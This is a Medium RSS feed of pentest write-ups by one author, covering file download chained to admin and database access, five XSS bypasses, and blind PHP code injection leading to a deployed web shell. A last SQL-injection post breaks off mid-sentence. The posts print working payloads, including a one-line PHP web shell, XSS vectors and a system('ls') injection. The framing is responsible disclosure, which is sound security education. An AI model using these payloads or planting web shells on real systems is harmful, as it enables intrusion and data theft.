<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hossein Zarei on Medium]]></title>
        <description><![CDATA[Stories by Hossein Zarei on Medium]]></description>
        <link>https://medium.com/@hossein.za68?source=rss-30dc26eb393c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vCh0kY__5DcjdfKSEDjgZg.jpeg</url>
            <title>Stories by Hossein Zarei on Medium</title>
            <link>https://medium.com/@hossein.za68?source=rss-30dc26eb393c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:56:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hossein.za68/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Arbitrary File Download to Admin Panel and Database Access]]></title>
            <link>https://medium.com/@hossein.za68/from-arbitrary-file-download-to-admin-panel-and-database-access-6bd1b45b477b?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bd1b45b477b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[arbitrary-file-download]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 19:12:21 GMT</pubDate>
            <atom:updated>2026-09-18T19:22:34.933Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RzmnTRMqtsdHlh2ceyh1lw.png" /></figure><p>A while ago, I was browsing the source code of different GitHub projects while looking into some frameworks and services. By chance, I came across a website that immediately caught my attention.</p><p>The first thing I noticed was that the site appeared to be vulnerable to <strong>Arbitrary File Download / Arbitrary Local File Read</strong>.</p><p>For example, the following endpoint was used to download some PDF files containing guides and course materials:</p><pre>https://target.com/download.php?file=*.pdf</pre><p>However, when I supplied the name of a PHP file to the same parameter, the application would return the actual PHP file for download instead of executing it.</p><p>For example:</p><pre>https://target.com/download.php?file=download.php</pre><p>The website also had an admin login panel:</p><pre>https://target.com/admin/auth.php</pre><p>So naturally, I wanted to see whether this file could also be retrieved through the same vulnerability.</p><p>I tried:</p><pre>https://target.com/download.php?file=auth.php</pre><p>And the file was downloaded successfully.</p><p>That’s where things started to get interesting.</p><h3>Source Code and Credential Disclosure</h3><p>After downloading the file, I started going through its source code. In one part of the code, I found a temporary login mechanism where the username and password were stored directly in the source code in <strong>cleartext</strong>.</p><p>The sensitive values have been redacted in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8avb1LkCt5yI0QPfs0ZAQ.png" /></figure><p>I used one of the credentials and was able to log in to the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oklpf5T6VXmQ5ItAvy2USg.png" /></figure><p>At this point, the attack chain had already moved beyond a simple file download:</p><pre>Arbitrary File Download<br>        ↓<br>Source Code Disclosure<br>        ↓<br>Credential Disclosure<br>        ↓<br>Admin Panel Access</pre><h3>Testing the File Upload Functionality</h3><p>The first thing that came to mind after getting access to the admin panel was testing its <strong>File Upload</strong> functionality.</p><p>There were several upload features throughout the panel, including PDF and image uploads.</p><p>I decided to start with the <strong>Upload PDFs</strong> section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1k3xagFvlXnUiQyMa0fkNA.png" /></figure><p>For the initial test, I used a very simple PHP shell:</p><pre>&lt;?php system($_GET[&#39;c&#39;]); ?&gt;</pre><p>Interestingly, there didn’t seem to be any effective file-extension validation in place, and the PHP file was uploaded successfully.</p><p>Finding the upload path was also relatively easy because I already had access to the application’s source code, which revealed where uploaded files were being stored.</p><p>The uploaded file was accessible at a path similar to:</p><pre>https://target.com/admin/uploads/shell.php?c=id</pre><p>At this point, I expected to be able to execute an operating system command through the c parameter and achieve <strong>OS Command Execution / RCE</strong>.</p><p>However, the command didn’t produce any output.</p><h3>Looking at the PHP Configuration</h3><p>To understand what was preventing command execution, I uploaded a simple PHP file containing phpinfo() and checked the PHP configuration.</p><p>It turned out that a number of potentially dangerous PHP functions had been disabled in the environment, which prevented my initial approach from working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcwJhTMPqJJv_K_SFPImdQ.png" /><figcaption>Disabled Functions in phpinfo</figcaption></figure><p>So the direct path to OS Command Execution wasn’t available in the way I initially expected.</p><p>But that didn’t mean the attack chain had to stop there.</p><h3>Moving from Direct RCE to File Management</h3><p>I had previously read about situations where PHP-based file-management functionality could still be useful in environments where direct command execution through functions such as system(),shell_exec() and etc was restricted.</p><p>Instead of focusing entirely on OS Command Execution, I decided to try a different approach using a <strong>standalone PHP file manager</strong>.</p><p>For this, I looked at projects such as <a href="https://github.com/prasathmani/tinyfilemanager"><strong>TinyFileManager</strong>.</a></p><p>The idea was simple: if I could upload a full-featured file manager through the existing file-upload functionality, I could potentially use its file-management capabilities to further explore the environment without relying directly on system() or similar command-execution functions.</p><p>I uploaded one of the source-code files through the same PDF upload functionality.</p><p>The file was uploaded successfully and executed without any issues. I was then presented with the TinyFileManager login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*lrqnLwod_mLQpCd6UHu-NQ.png" /></figure><p>The file manager could be accessed using the default credentials provided in the tool’s own source code. The actual credentials are not included in this public write-up.</p><p>After logging in, TinyFileManager was running normally and provided functionality such as viewing and managing files, deleting files, and accessing other files within the directories available to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpm6UxsivTl5E_xWbYCEhw.png" /><figcaption>TinyFileManager After Login</figcaption></figure><p>At this point, even without obtaining direct OS Command RCE, I had gained a significant amount of access to the server’s file environment.</p><h3>Finding the Database Credentials</h3><p>While continuing to review the application’s source code, I came across another file named db.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*dD6zuuR0wQo4HJZfeNZH7Q.png" /></figure><p>Since the original arbitrary file download vulnerability was still available, I downloaded that file as well.</p><p>The db.php file contained the credentials used by the application to connect to its database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*TBhtbF19ARXhTTfRsyWhmA.png" /><figcaption>db.php</figcaption></figure><p>This gave me another important attack path:</p><p>Arbitrary File Download<br> ↓<br> Source Code Disclosure<br> ↓<br> db.php <br>↓<br> Database Credential Disclosure<br> ↓<br> Database Access</p><p>At this point, a standalone PHP database-management tool such as <a href="https://www.adminer.org/en/editor/"><strong>Adminer</strong></a> could also be used.</p><p>After uploading the PHP file and supplying the database username and password obtained from db.php, it was possible to connect to the database and perform various database-management operations, including creating a backup/dump of the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLKuvZdx9QQHxTD_br11Mg.png" /></figure><p>So even without relying on direct OS Command Execution, the original vulnerability had now led to:</p><ul><li>Sensitive credential disclosure</li><li>Admin panel access</li><li>Access to server-side files</li><li>Database credential disclosure</li><li>Database access</li><li>Database backup/dump capability</li></ul><h3>The Complete Attack Chain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKLrFtZtSzdDr_kRPwMDuA.png" /></figure><p>It’s worth pointing out that the File Manager and Database Credential paths can also be considered separate branches of the attack chain.</p><p>In other words, reaching OS Command RCE wasn’t necessarily required to demonstrate significant impact.</p><h3>An Important Takeaway</h3><p>One of the things I found particularly interesting during this assessment was that <strong>getting RCE isn’t always the only way to increase the impact of a File Upload vulnerability.</strong></p><p>Sometimes a direct approach to command execution won’t work because of server configuration, application restrictions, or something like PHP’s disable_functions.</p><p>That doesn’t necessarily mean the vulnerability becomes useless.</p><p>By looking at the application more carefully and thinking about what other capabilities are available, you may find alternative paths such as:</p><ul><li>Source Code Disclosure</li><li>Credential Disclosure</li><li>Administrative Access</li><li>File Management</li><li>Database Credential Exposure</li><li>Database Access</li></ul><p>In this case, the entire chain started with a relatively simple <strong>Arbitrary File Download</strong> vulnerability. By reviewing the exposed source code and following the access paths it revealed, I was able to reach sensitive credentials, the admin panel, server-side file management, and database access.</p><p>For me, this was an important reminder:</p><blockquote><strong><em>RCE isn’t always the goal. What matters is understanding what you can do with the access you’ve already gained and what other paths that access may open up.</em></strong></blockquote><p>The issue was responsibly disclosed, and all sensitive information related to the target has been redacted from this write-up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bd1b45b477b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[5 Real World XSS Bypasses I Discovered in 2026]]></title>
            <link>https://medium.com/@hossein.za68/5-real-world-xss-bypasses-i-discovered-in-2026-910b8420d8f7?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/910b8420d8f7</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 20:48:05 GMT</pubDate>
            <atom:updated>2026-08-30T20:48:05.681Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz_i-AAJ0G5Q2sIXQWIn2w.jpeg" /></figure><p>Hello everyone 👋</p><p>Throughout 2026, while working on enterprise penetration testing projects, VDP programs, and Bug Bounty programs, I discovered several XSS vulnerabilities.</p><p>I selected five of the cases that I found particularly interesting and different, and decided to share them in this article. I hope you find them useful and can apply similar techniques and approaches in your future testing.</p><p>The goal of this article is not simply to provide a collection of ready-made payloads. Instead, I want to explain why common XSS payloads failed in each scenario and how analyzing the application’s behavior and identifying the right attack path eventually led to successful XSS exploitation.</p><h3>1. Bypassing WAF and Server-Side Character Restrictions with URL Encoding</h3><p>On one of the targets, I started with some basic input reflection testing.</p><p>For example, I submitted:</p><pre>&quot;&lt;test</pre><p>and noticed that the input was reflected in the page source without any significant encoding.</p><p>At first, this looked like a promising reflection point for XSS testing. However, when I tried common XSS payloads, I couldn’t get them to execute.</p><p>After several attempts and some WAF fingerprinting, I noticed that certain payloads resulted in a 403 Forbidden response, while some other payloads caused the application itself to return an error instead of the usual WAF blocking response.</p><p>One of the payloads that produced this different behavior was:</p><pre>[&#39;XSS&#39;].map(alert)</pre><p>After further investigation, I realized that part of the restriction was related to how the server stack processed the URI.</p><p>Apache Tomcat can reject certain special characters in URI components when they are not appropriately encoded. Tomcat provides options such as relaxedQueryChars and relaxedPathChars for controlling some of these restrictions.</p><p>So instead of sending [ and ] directly, I URL-encoded them:</p><pre>%5B%27XSS%27%5D.map(alert)</pre><p>The payload then executed successfully.</p><p>What I found particularly interesting about this case was that at first I thought I was dealing purely with a WAF restriction. However, further investigation showed that I also needed to consider the difference between <strong>WAF behavior and server-side URI parsing restrictions</strong>.</p><p>This is an important point when testing XSS: if a payload is blocked with a 403, don&#39;t always assume that the WAF is the only thing preventing exploitation. Sometimes you need to determine exactly which layer in the request-processing chain is rejecting your payload.</p><h3>2. Exploiting HTML Metadata Through a Remote HTML Document</h3><p>The second case was one of the more interesting scenarios I encountered while testing functionality related to URLs and content previews.</p><p>On one part of the application, users could provide a URL, such as the address of their personal website. The application would then retrieve content from that URL and extract some of its metadata to generate a preview or description.</p><p>This is similar to what we commonly see in messaging platforms and social networks: when you share a URL, the application often retrieves information such as the page title, description, or other metadata and displays it as part of the link preview.</p><p>To test this functionality, I hosted a simple HTML file on a server under my control:</p><pre>&lt;head&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;test123&quot;&gt;<br>&lt;/head&gt;</pre><p>I then provided the URL of this HTML file to the target application instead of a normal website URL.</p><p>If the value test123 appeared in the generated preview or page source, it would indicate that data retrieved from the external HTML document was being incorporated into the application&#39;s output.</p><p>Of course, simply retrieving metadata from an external URL does not automatically mean that an XSS vulnerability exists.</p><p>To demonstrate XSS, we need to determine whether attacker-controlled data is eventually placed into an <strong>executable HTML context</strong>.</p><p>For example, if the application takes the metadata retrieved from our server and inserts it into its HTML output without proper sanitization or context-appropriate encoding, that data may become HTML markup instead of remaining plain text. OWASP emphasizes that output encoding must be appropriate for the context in which the data is rendered.</p><p>For testing purposes, it is better to host the content as a complete and valid HTML document, but the minimal example above is sufficient to demonstrate the concept.</p><p>Once I confirmed that the test123 value was being retrieved from the external HTML document and reflected in the application&#39;s output, I modified the HTML file on my server and placed an XSS payload inside the metadata:</p><pre>&lt;head&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;&lt;img src=1 onerror=alert(`xss`)&gt;&quot;&gt;<br>&lt;/head&gt;</pre><p>I then submitted the URL of the modified HTML document to the application again.</p><p>If the application retrieves the metadata and inserts it into its HTML output without proper sanitization, the payload can be interpreted as HTML markup rather than plain text, resulting in XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dOXFQdKifphrj_Dodd25w.png" /></figure><p>What makes this scenario interesting is that the XSS entry point isn’t necessarily a traditional input such as a search box or form field.</p><p>Instead, the application first:</p><ol><li>Fetches an attacker-controlled URL.</li><li>Extracts part of its HTML metadata.</li><li>Places that data into the application’s output.</li><li>Allows the browser to interpret it as HTML.</li></ol><p>This is a good reminder that when testing URL-based functionality, the entire data flow should be considered — not just direct user input.</p><h3>3. XSS Through MIME Type Manipulation in a File Viewer</h3><p>In the third scenario, the application had a file upload feature where users could upload files such as PNG images.</p><p>Normally, simply creating a PNG file containing an XSS payload does not cause JavaScript to execute. The fact that arbitrary text is present inside a file with a .png extension does not, by itself, make the browser interpret that content as HTML.</p><p>However, there was an interesting detail in this application.</p><p>After uploading a file, it was displayed through a dedicated viewer, and the file type was specified in the URL.</p><p>For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*2iYZrwnCWYWdDaAtncH6JQ.png" /></figure><p>I created a file with a .png extension, but instead of putting actual image data inside it, I placed HTML content containing an XSS payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*K_708wbBY4loH6veoMcDJw.png" /></figure><p>I uploaded the file and observed that the viewer displayed it using:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*kFGK1519t9W_nf1SRcZvvw.png" /></figure><p>I then manually changed the parameter to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*Tz-oIbCQPnXg3YKNvlIS4g.png" /></figure><p>The request became:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*SGYBPoTIeeVnSKaMmQG3yw.png" /></figure><p>Because the viewer trusted the type parameter when determining how the uploaded content should be served, the stored content was now interpreted as HTML, and the XSS payload executed.</p><p>The vulnerability was therefore not simply “uploading a PNG containing XSS.”</p><p>Instead, it was a combination of several insecure behaviors:</p><pre>Upload arbitrary content<br>        ↓<br>File stored with .png extension<br>        ↓<br>File exposed through a viewer<br>        ↓<br>Viewer trusts user-controlled MIME type<br>        ↓<br>type=image/png → type=text/html<br>        ↓<br>Browser interprets content as HTML<br>        ↓<br>XSS</pre><p>This is an important distinction when testing file upload functionality.</p><p>Don’t focus only on the file extension validation. Also investigate how the uploaded file is ultimately served, how its Content-Type is determined, whether a dedicated viewer is involved, and whether any user-controlled parameter can influence how the file is interpreted.</p><h3>4. XSS via an embed Element and a data: URL</h3><p>The fourth case involved an application that used the &lt;embed&gt; element to display an image.</p><p>For example, the request looked similar to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*DqSZ9TygCOtUhpbTqC7Dqw.png" /></figure><p>The page source contained an element similar to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*QWhTjpnoKpuiKMTRsGfxzA.png" /></figure><p>Since the src value was controllable, I started testing whether I could change the MIME type used in the data: URL from image/png to another type.</p><p>The general syntax of a data: URL is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*qTzN0280mHM_v4uArqNfYg.png" /></figure><p>Therefore, one of the payloads worth testing in this context is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*hnMnuwgLxlhf6ujXzgL3Wg.png" /></figure><p>Here, text/html indicates that the content of the data: URL is HTML.</p><p>However, the payload that worked successfully in my test was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*BaOlaOxI_JnX-ygcT1OjRA.png" /></figure><p>The Base64 portion of this payload represents content equivalent to an SVG element containing an event handler.</p><p>The final request therefore looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*vVpszNXoihWWgfsTrism4A.png" /></figure><p>The payload successfully resulted in JavaScript execution.</p><p>The interesting part of this scenario is that when an application places user-controlled input directly into the src attribute of an element such as &lt;embed&gt;, you shouldn&#39;t limit your testing to conventional http:// URLs or expected image formats.</p><p>Schemes such as data: and MIME type manipulation can introduce an entirely different attack surface.</p><p>The &lt;embed&gt; element uses its src attribute as the URL of the resource being embedded, making the handling and validation of attacker-controlled URLs particularly important.</p><p>It is also worth noting that the exact behavior of these payloads can depend on the browser and how the embedded content and MIME type are handled. Therefore, when reporting this type of issue, it is a good idea to document the browser and exact testing conditions.</p><h3>5. Bypassing Uppercase Input Transformation with HTML Entities</h3><p>The final case was one of the simplest but most interesting bypasses I encountered.</p><p>On this target, user input was automatically converted entirely to uppercase before being reflected into the page source.</p><p>For example, if I submitted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*3TZR0voAHE-L0LUn4a363A.png" /></figure><p>the application reflected it as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*g_aqXAJwyLVirf8qdi1LMg.png" /></figure><p>At first glance, this transformation appeared capable of interfering with common XSS payloads.</p><p>For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*8_VttkHSRrAvWYCDs8J6_Q.png" /></figure><p>would effectively become:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*SbRkHXFtF-DOfISSpfQlSA.png" /></figure><p>The key detail here is that HTML treats tag and attribute names without regard to letter casing, while JavaScript treats identifiers differently.</p><p>As a result, changing alert to ALERT can prevent the original JavaScript expression from working. The automatic uppercase transformation was therefore enough to break the straightforward approach.</p><p>I also experimented with different encoding techniques, including Unicode representations and HTML character references, but the initial approaches did not produce the result I was looking for.</p><p>Instead of continuing with the same approach, I decided to test a different HTML context.</p><p>I focused on an image element and its error-handling mechanism. This provided a different execution path that was not affected in the same way by the application’s uppercase transformation.</p><p>The test payload was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*-j8APRFYTatl7oikJvlO1A.png" /></figure><p>After the application converted the input to uppercase, it appeared in the source as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*UlFKDNcYZ8_2SAJziegztw.png" /></figure><p>However, unlike the previous payload, this one executed successfully.</p><p>The reason is that HTML character references are decoded while the HTML is being parsed. The resulting value is therefore interpreted by the event handler as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*q0CtEm4Urye_73k_L7M2FQ.png" /></figure><p>The uppercase transformation does not cause a problem for the HTML tag or attribute names, and changing the case of the hexadecimal characters inside the character references does not prevent them from being decoded.</p><p>This case taught me an important lesson:</p><p><strong>When a simple sanitization or transformation breaks an XSS payload, don’t immediately assume that XSS is no longer exploitable. First identify the output context, then determine whether the transformation actually affects the final syntax interpreted by the browser.</strong></p><h3>Conclusion</h3><p>All five of these cases had one thing in common for me: finding XSS is often much more than simply finding a reflection point and sending :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*8_VttkHSRrAvWYCDs8J6_Q.png" /></figure><p>Sometimes you need to understand exactly where the data is being placed, which layer of the application stack processes it, what encoding or transformation is applied to it, and how the browser ultimately parses the resulting data.</p><p>In these cases, techniques and concepts such as:</p><ul><li>URL encoding</li><li>Server-side URI parsing</li><li>HTML metadata</li><li>MIME types</li><li>data: URLs</li><li>&lt;embed&gt;</li><li>HTML entities</li><li>Event handlers</li><li>Case transformation</li></ul><p>all played a role in reaching successful XSS execution.</p><p>I hope these techniques were useful and that you can apply the underlying ideas in your future testing.</p><p>If you found the article useful, I’d really appreciate a Clap 👏 to help more people discover these techniques and experiences.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=910b8420d8f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From a Contact Form to RCE: How I Found Blind PHP Code Injection]]></title>
            <link>https://medium.com/@hossein.za68/from-a-contact-form-to-rce-how-i-found-blind-php-code-injection-b56e51846ce8?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b56e51846ce8</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 21:47:04 GMT</pubDate>
            <atom:updated>2026-08-19T21:47:04.468Z</atom:updated>
            <content:encoded><![CDATA[<p>A while ago, I was testing a website for XSS vulnerabilities. After going through several parts of the application, I eventually reached the <strong>Contact Us</strong> section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyCMLclzp01liku3miL2Ew.png" /></figure><p>I decided to perform a quick test against the input fields. I first captured the request using Burp Suite and started testing a few special characters and patterns:</p><pre>&quot;<br>&#39;<br>\<br>/<br>`<br>{}<br>${}<br>{{}}</pre><p>All of these tests returned a 200 OK response, and nothing unusual appeared to happen.</p><p>Since I had identified that the application’s backend was written in PHP, I decided to try another simple test — this time by injecting the beginning of a PHP tag into the input:</p><pre>&lt;?php</pre><p>The result was interesting.</p><p>This time, the server responded with a 500 Internal Server Error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70WZuIuXBWGDCibeFS3qHg.png" /></figure><p>This behavior immediately caught my attention. It suggested that my input was potentially reaching a PHP processing context somewhere in the backend, raising the possibility that the application was interpreting the supplied content rather than simply treating it as data.</p><h3>Testing for Code Execution</h3><p>The next step was to determine whether I could actually execute PHP code and make something appear in the application’s output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*VK9rs35iP6H-gzFIoh2mQQ.png" /></figure><p>However, nothing appeared in the page response.</p><p>At this point, the server behavior suggested that my input was likely being processed by PHP, but the output of the executed code was not being reflected in the HTTP response.</p><p>This led me to suspect that I was dealing with <strong>Blind PHP Code Injection</strong>.</p><p>In other words, I suspected that the injected code was being executed, but its output was not being returned directly to me.</p><h3>Verifying Blind Code Execution with a Time-Based Technique</h3><p>To test this hypothesis, I used a time-based technique.</p><p>The idea was simple: if the injected code was actually being executed, I could trigger a measurable behavior — such as a delay in the server’s response — and use that behavior as an indicator of successful execution, even without being able to see the command output directly.</p><p>The results showed the expected behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dh9nP5EdrPlbV9tMmlJRaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wq8VRkGDJt2Kukm4eDoKkA.png" /></figure><p>As shown in the screenshots, the results provided strong evidence that I was dealing with a blind execution scenario.</p><p>At this point, I was reasonably confident that code injection was present, but one important question remained:</p><p><strong>How could I retrieve the result of the executed code when its output was not being returned in the response?</strong></p><h3>OOB Is Not Always the Only Option for Blind Vulnerabilities</h3><p>When dealing with blind vulnerabilities, there are several techniques that can be used to obtain evidence of execution. Out-of-band (OOB) techniques are one option, but they are not the only possible approach.</p><p>In this particular scenario, an interesting behavior of PHP helped me move forward.</p><p>In PHP, die() is an alias of exit(), which terminates execution of the current script.</p><p>Under certain conditions, terminating the script immediately after the operation of interest can prevent the application’s remaining logic from executing.</p><p>To test this behavior, I used a simple payload:</p><pre>&lt;?php system(&#39;ls&#39;);die;?&gt;</pre><p>The idea was to execute the desired operation first and then terminate the PHP script with die().</p><p>The result was very interesting.</p><p>As shown in the screenshot below, the output of the executed command was now visible in the HTTP response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Pbc_Z-BqZ86Fm6lXCladw.png" /></figure><p>At this point, I was no longer dealing with a suspicious behavior or merely a blind execution indicator. I had effectively confirmed both <strong>PHP code execution</strong> and the ability to execute a system command on the target.</p><p>From a classification perspective, the primary vulnerability was <strong>PHP Code Injection</strong>, with operating-system command execution being one of its resulting impacts. OWASP describes Code Injection as the injection of code that is subsequently interpreted and executed by the application, and specifically notes that PHP code injection can allow an attacker to leverage PHP’s capabilities to perform various operations.</p><p>At this point, the vulnerability had been fully confirmed, and I could have submitted the security report.</p><h3>Going Beyond Proof of Concept: Assessing the Impact</h3><p>However, there was another aspect of the vulnerability that I wanted to investigate.</p><p>The purpose of this stage was solely to assess the potential impact and understand the severity of the vulnerability — not to abuse the target.</p><p><strong>From this point onward, the testing described is strictly for educational purposes and to demonstrate the potential impact of the vulnerability.</strong></p><h3>Testing the Possibility of Web Shell Deployment</h3><p>If a web application lacks appropriate security controls and restrictions, Code Injection vulnerabilities can, under certain conditions, allow an attacker to create or execute PHP files on the server.</p><p>To assess the potential impact, I used a well-known <a href="https://github.com/nicxlau/alfa-shell">PHP web shell with a graphical interface</a>.</p><p>I had previously hosted the script on a server under my control as a text file. During the test, I transferred the file to the target environment and then used the mv command to change its extension to .php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ghCqktj4QS9Du8L9kLWPqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*GDQ4Id0wJQF9vpj6bXugnQ.png" /><figcaption>txt file to php</figcaption></figure><p>I then opened the path to the newly created file in the browser:</p><pre>target.com/a.php</pre><p>The graphical Web Shell interface loaded successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VVeb81JMofblyfPCjd6Meg.png" /><figcaption>alfa shell __ Backdoor PHP shell script</figcaption></figure><p>This demonstrated that the impact of the vulnerability was not limited to executing a simple command. Under the right conditions, it could potentially provide significantly broader access to the application’s execution environment.</p><p>For example, the Web Shell I used provided capabilities such as:</p><ul><li>Database backups</li><li>Website file backups</li><li>File creation</li><li>File deletion</li><li>File management</li><li>And other functionality</li></ul><p>As a result, the vulnerability went far beyond a simple <strong>Blind PHP Code Injection</strong> and could, under the appropriate conditions, lead to <strong>Remote Code Execution (RCE)</strong> with significant impact.</p><p>After completing the testing, I removed the Web Shell from the website and provided the support team with full documentation of the vulnerability and its potential impact.</p><p>Since the company was not running an official Bug Bounty program and did not have a formal bounty program in place, my report was handled as a <strong>Vulnerability Disclosure / VDP</strong> submission. The company provided a limited monetary reward for the report.</p><p>Naturally, the amount was relatively modest compared with official Bug Bounty programs, especially considering the severity and potential impact of the vulnerability.</p><p>Nevertheless, my primary goal was responsible disclosure, documenting the issue properly, and helping the company understand and remediate the vulnerability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b56e51846ce8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Strong Password Hashing Isn’t Enough: Chaining SQL Injection into Account Takeover]]></title>
            <link>https://medium.com/@hossein.za68/when-strong-password-hashing-isnt-enough-chaining-sql-injection-into-account-takeover-b3220a52edc1?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3220a52edc1</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Fri, 07 Aug 2026 10:31:09 GMT</pubDate>
            <atom:updated>2026-08-07T10:31:09.313Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5tHiTagP8PRQq7Y8VeVHJQ.png" /></figure><p>Hello everyone 👋</p><p>A while ago, during a penetration testing engagement, I discovered a <strong>SQL Injection</strong> vulnerability in one of the target’s subdomains. Like most SQLi assessments, my initial objective was to enumerate the database structure and extract user information.</p><p>After some investigation, I was able to access user and administrator records, including usernames, email addresses, and their <strong>password hashes</strong>.</p><p>At first, I assumed this was where the assessment would end — as is often the case with SQL Injection findings. However, after examining the extracted hashes, I noticed that the developers had implemented a proper <strong>password hashing algorithm</strong> with <strong>salt</strong>.</p><p>In situations like this, even if you obtain every user’s password hash, cracking them is either practically impossible or simply not worth the computational time and effort. Tools such as <strong>Hashcat</strong> or services like <strong>CrackStation</strong> are only effective when weak hashing algorithms are used or when hashes are stored without salts.</p><p>Initially, I thought that was the end of the story.</p><p>But after digging deeper, I realized something important:</p><p><strong>The password hashes were never the real issue.</strong></p><h3>The Core Idea</h3><p>This article is <strong>not</strong> intended to teach SQL Injection, nor will it cover the initial discovery process. We’ll assume the attacker has already exploited an SQL Injection vulnerability and gained access to the database.</p><p>The point I want to demonstrate is this:</p><blockquote><em>Even if user passwords are protected using the strongest hashing algorithms with properly implemented salts — making them practically impossible to crack — user accounts may still be compromised.</em></blockquote><p>The weakness lies <strong>not in password hashing</strong>, but in the 